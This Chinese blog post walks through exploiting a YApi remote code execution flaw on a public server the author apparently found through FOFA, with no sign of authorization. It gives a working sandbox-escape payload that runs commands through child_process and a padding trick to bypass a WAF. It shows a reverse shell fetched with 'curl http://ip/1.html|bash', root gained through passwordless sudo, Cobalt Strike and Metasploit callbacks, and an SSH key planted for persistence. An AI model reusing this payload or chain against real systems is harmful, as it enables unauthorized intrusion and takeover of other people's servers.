yapi RCE漏洞复现

前段时间,公司打内部的攻防比赛,然后手里的工作比较忙,时间也比较短,于是就没怎么打。发现了一台主机3000端口开了yapi服务,且能在前台执行命令,但是就是弹不回来shell。有门进不去的感觉就很烦,心痒痒的就想在赛后复盘一下。于是就有这篇文章。
贵有恒,何必三更起五更睡;最无益,只怕一日曝十寒。话不多说,搞快点。

首先面向fofa搜索yapi的资产
yapi RCE漏洞复现_第1张图片
找到了个54.xxx的IP,就你了皮卡丘
yapi RCE漏洞复现_第2张图片
首先进去,发现注册账户功能是开放的,冲
yapi RCE漏洞复现_第3张图片
登录
yapi RCE漏洞复现_第4张图片
创建项目
yapi RCE漏洞复现_第5张图片
yapi RCE漏洞复现_第6张图片
yapi RCE漏洞复现_第7张图片
添加接口
yapi RCE漏洞复现_第8张图片
yapi RCE漏洞复现_第9张图片
yapi RCE漏洞复现_第10张图片
yapi RCE漏洞复现_第11张图片
执行payload
yapi RCE漏洞复现_第12张图片

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

当时是遇到了公司的waf拦截,大佬直接加了个变量绕过了,也有大佬base64编码绕过了。我就比较莽,在第一行加了好长好长的冗余字符串,绕过了waf。像这样。
yapi RCE漏洞复现_第13张图片
执行结束在预览里查看命令执行结果
yapi RCE漏洞复现_第14张图片
发现是admin用户,不是根权限用户
yapi RCE漏洞复现_第15张图片
然后看看能执行什么命令
whereis nc bash python php exec perl ruby java telnet lua
yapi RCE漏洞复现_第16张图片
果断bash弹一波,vps监听,执行弹shell。
在这里插入图片描述
yapi RCE漏洞复现_第17张图片
发现莫名其妙有问题。这里不知道为啥无法执行,希望有知道的大佬教教弟弟。
yapi RCE漏洞复现_第18张图片
那就换成curl试试,vps开启apache服务,将bash命令写到网页里。vps上开启apache服务
yapi RCE漏洞复现_第19张图片
这里写的是1.html
yapi RCE漏洞复现_第20张图片
访问一下vps试试,发现正常。
yapi RCE漏洞复现_第21张图片
直接执行curl http://ip/1.html|bash命令
yapi RCE漏洞复现_第22张图片
成功弹回
yapi RCE漏洞复现_第23张图片
查看系统发行版本
yapi RCE漏洞复现_第24张图片
查看系统内核
在这里插入图片描述
搜一搜提权的东西,因为比较菜,也没怎么积累过linux提权的东西。这里找了些脚本发现不能用。后来听大佬说,当时内部攻防的时候是使用suid提权的,这我不太懂。这是当时找的一些网站里,其中的一个。
https://github.com/SecWiki/linux-kernel-exploits
yapi RCE漏洞复现_第25张图片
发现这个版本太超前了,莫得法子。
在这里插入图片描述

后来在执行脚本的时候,发现没有gcc。然后就sudo apt-get安装了一下,发现可以安装。于是就开始跑脚本。后来才发现,我就是个憨憨。sudo直接无密码执行,这是云服务器的一个特点啊,登进去普通用户,直接sudo -i。
yapi RCE漏洞复现_第26张图片
成功了,芜湖~,后面又试了下cs和msf的上线,发现都还不错。然后写了个ssh公钥进去,成功用密钥连接ssh了,技术较菜,就不给大家分享了。呜呜呜,学习去了。

你可能感兴趣的:(漏洞复现,安全)